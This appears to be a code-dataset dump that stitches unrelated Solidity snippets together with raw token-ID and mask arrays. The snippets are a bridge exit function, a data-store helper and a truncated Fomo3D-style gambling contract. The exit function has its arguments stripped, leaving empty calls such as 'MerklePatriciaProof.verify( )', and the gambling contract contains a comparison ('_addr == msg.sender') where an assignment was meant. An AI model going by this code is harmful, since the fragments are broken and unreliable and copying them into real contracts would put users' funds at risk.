function exit(bytes calldata inputData) external override { RLPReader.RLPItem[] memory inputDataRLPList = inputData .toRlpItem() .toList(); bytes32 exitHash = keccak256( abi.encodePacked( ) ); require( processedExits[exitHash] == false, "RootChainManager: EXIT_ALREADY_PROCESSED" ); processedExits[exitHash] = true; RLPReader.RLPItem[] memory receiptRLPList = inputDataRLPList[6] .toBytes() .toRlpItem() .toList(); RLPReader.RLPItem memory logRLP = receiptRLPList[3] .toList()[ ]; address rootToken = childToRootToken[childToken]; require( rootToken != address(0), "RootChainManager: TOKEN_NOT_MAPPED" ); address predicateAddress = typeToPredicate[ tokenToType[rootToken] ]; require( inputDataRLPList[8].toUint() & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000 == 0, "RootChainManager: INVALID_BRANCH_MASK" ); require( MerklePatriciaProof.verify( ), "RootChainManager: INVALID_PROOF" ); _checkBlockMembershipInCheckpoint( ); ITokenPredicate(predicateAddress).exitTokens( _msgSender(), rootToken, logRLP.toRlpBytes() ); }
6,612,830
[ 1, 8593, 2430, 635, 17721, 14601, 225, 1220, 445, 20761, 309, 326, 2492, 6013, 17497, 603, 1151, 2687, 326, 2492, 613, 353, 1508, 3271, 358, 1147, 5641, 358, 1640, 518, 15905, 225, 24149, 534, 14461, 3749, 501, 434, 326, 2114, 2229, 4191, 3751, 666, 434, 1466, 225, 374, 300, 1446, 1854, 300, 25569, 1446, 1203, 1300, 4191, 326, 2114, 2229, 225, 404, 300, 1203, 20439, 300, 1186, 792, 716, 326, 1203, 1446, 261, 267, 326, 1151, 2687, 13, 353, 279, 7839, 316, 326, 9638, 30235, 1365, 225, 576, 300, 1203, 1854, 300, 3914, 1300, 4191, 326, 2114, 2229, 603, 1151, 2687, 225, 890, 300, 1203, 950, 300, 6268, 2229, 1203, 813, 225, 1059, 300, 2229, 2375, 300, 27148, 1365, 434, 1203, 225, 1381, 300, 16030, 2375, 300, 9797, 27827, 1365, 434, 1203, 225, 1666, 300, 16030, 300, 29787, 434, 326, 2114, 2492, 225, 2371, 300, 16030, 20439, 300, 31827, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 2427, 12, 3890, 745, 892, 24149, 13, 3903, 3849, 288, 203, 3639, 534, 14461, 2514, 18, 54, 48, 1102, 874, 8526, 3778, 24149, 54, 14461, 682, 273, 24149, 203, 5411, 263, 869, 54, 9953, 1180, 1435, 203, 5411, 263, 869, 682, 5621, 203, 203, 3639, 1731, 1578, 2427, 2310, 273, 417, 24410, 581, 5034, 12, 203, 5411, 24126, 18, 3015, 4420, 329, 12, 203, 5411, 262, 203, 3639, 11272, 203, 3639, 2583, 12, 203, 5411, 5204, 424, 1282, 63, 8593, 2310, 65, 422, 629, 16, 203, 5411, 315, 2375, 3893, 1318, 30, 28407, 67, 1013, 20305, 67, 3373, 1441, 22276, 6, 203, 3639, 11272, 203, 3639, 5204, 424, 1282, 63, 8593, 2310, 65, 273, 638, 31, 203, 203, 3639, 534, 14461, 2514, 18, 54, 48, 1102, 874, 8526, 3778, 16030, 54, 14461, 682, 273, 24149, 54, 14461, 682, 63, 26, 65, 203, 5411, 263, 869, 2160, 1435, 203, 5411, 263, 869, 54, 9953, 1180, 1435, 203, 5411, 263, 869, 682, 5621, 203, 3639, 534, 14461, 2514, 18, 54, 48, 1102, 874, 3778, 613, 54, 14461, 273, 16030, 54, 14461, 682, 63, 23, 65, 203, 5411, 263, 869, 682, 1435, 63, 203, 5411, 308, 31, 203, 203, 3639, 1758, 1365, 1345, 273, 1151, 774, 2375, 1345, 63, 3624, 1345, 15533, 203, 3639, 2583, 12, 203, 5411, 1365, 1345, 480, 1758, 12, 20, 3631, 203, 5411, 315, 2375, 3893, 1318, 30, 14275, 67, 4400, 67, 8352, 12120, 6, 203, 3639, 11272, 203, 203, 3639, 1758, 5641, 1887, 273, 618, 774, 8634, 63, 203, 5411, 2 ]
./full_match/5/0x393f13d4A7A82c71d0926751CF897E1a1c588C35/sources/contracts/data/DataStore.sol
@dev add the input int value to the existing uint value, prevent the uint value from becoming negative @param key the key of the value @param value the input int value @return the new uint value
function applyBoundedDeltaToUint(bytes32 key, int256 value) external onlyController returns (uint256) { uint256 uintValue = uintValues[key]; if (value < 0 && (-value).toUint256() > uintValue) { uintValues[key] = 0; return 0; } uint256 nextUint = Calc.sumReturnUint256(uintValue, value); uintValues[key] = nextUint; return nextUint; }
11,589,352
[ 1, 1289, 326, 810, 509, 460, 358, 326, 2062, 2254, 460, 16, 5309, 326, 2254, 460, 628, 506, 5522, 6092, 225, 498, 326, 498, 434, 326, 460, 225, 460, 326, 810, 509, 460, 327, 326, 394, 2254, 460, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2230, 38, 12002, 9242, 774, 5487, 12, 3890, 1578, 498, 16, 509, 5034, 460, 13, 3903, 1338, 2933, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2254, 5034, 2254, 620, 273, 2254, 1972, 63, 856, 15533, 203, 3639, 309, 261, 1132, 411, 374, 597, 24927, 1132, 2934, 869, 5487, 5034, 1435, 405, 2254, 620, 13, 288, 203, 5411, 2254, 1972, 63, 856, 65, 273, 374, 31, 203, 5411, 327, 374, 31, 203, 3639, 289, 203, 203, 3639, 2254, 5034, 1024, 5487, 273, 29128, 18, 1364, 990, 5487, 5034, 12, 11890, 620, 16, 460, 1769, 203, 3639, 2254, 1972, 63, 856, 65, 273, 1024, 5487, 31, 203, 3639, 327, 1024, 5487, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; //============================================================================== // _ _ _ _|_ _ . // (/_\/(/_| | | _\ . //============================================================================== contract BBTevents { // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); // fired at end of buy or reload event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 BBTAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); // fired whenever theres a withdraw event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); // fired whenever a withdraw forces end round to be ran event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 BBTAmount, uint256 genAmount ); // (fomo3d long only) fired whenever a player tries a buy after round timer // hit zero, and causes end round to be ran. event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 BBTAmount, uint256 genAmount ); // (fomo3d long only) fired whenever a player tries a reload after round timer // hit zero, and causes end round to be ran. event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 BBTAmount, uint256 genAmount ); // fired whenever an affiliate is paid event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); // received pot swap deposit event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } //============================================================================== // _ _ _ _|_ _ _ __|_ _ _ _|_ _ . // (_(_)| | | | (_|(_ | _\(/_ | |_||_) . //====================================|========================================= contract modularBBT is BBTevents {} contract DIZHU is modularBBT { using SafeMath for *; using NameFilter for string; using BBTKeysCalcLong for uint256; address constant private BBTAddress = 0x20aAc60C7f52D062f703AAE653BB931647c4f572; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xf628099229Fae56F0fFBe7140A41d3820a1248F1); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== string constant public name = "LandOwner VS Peasant"; string constant public symbol = "Land"; uint256 constant private rndGap_ = 0 minutes; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 30 minutes; // round timer starts at this uint256 constant private rndInc_ = 1 minutes; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 2 hours; // max length a round timer can be //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => BBTdatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => BBTdatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => BBTdatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => BBTdatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => BBTdatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // Team allocation structures // 0 = farmer // 1 = landowner // Team allocation percentages // (KEY, BBT) + (Pot , Referrals, Community) // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = BBTdatasets.TeamFee(45,20); //15% to pot, 10% to aff, 10% to air drop pot fees_[1] = BBTdatasets.TeamFee(15,20); //45% to pot, 10% to aff, 10% to air drop pot // how to split up the final pot based on which team was picked // (KEY, BBT) potSplit_[0] = BBTdatasets.PotSplit(30,10); //50% to winner, 10% to next round, potSplit_[1] = BBTdatasets.PotSplit(10,10); //50% to winner, 30% to next round, } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not BBTdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 0, _eventData_); } /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? */ function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not BBTdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not BBTdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not BBTdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data BBTdatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data BBTdatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data BBTdatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data BBTdatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit BBTevents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.BBTAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit BBTevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit BBTevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit BBTevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit BBTevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 100000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(50)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return farmer eth in for round * @return landowner eth in for round * @return airdrop tracker # & airdrop pot */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 airDropTracker_ + (airDropPot_ * 1000) //11 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, BBTdatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit BBTevents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.BBTAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, BBTdatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit BBTevents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.BBTAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 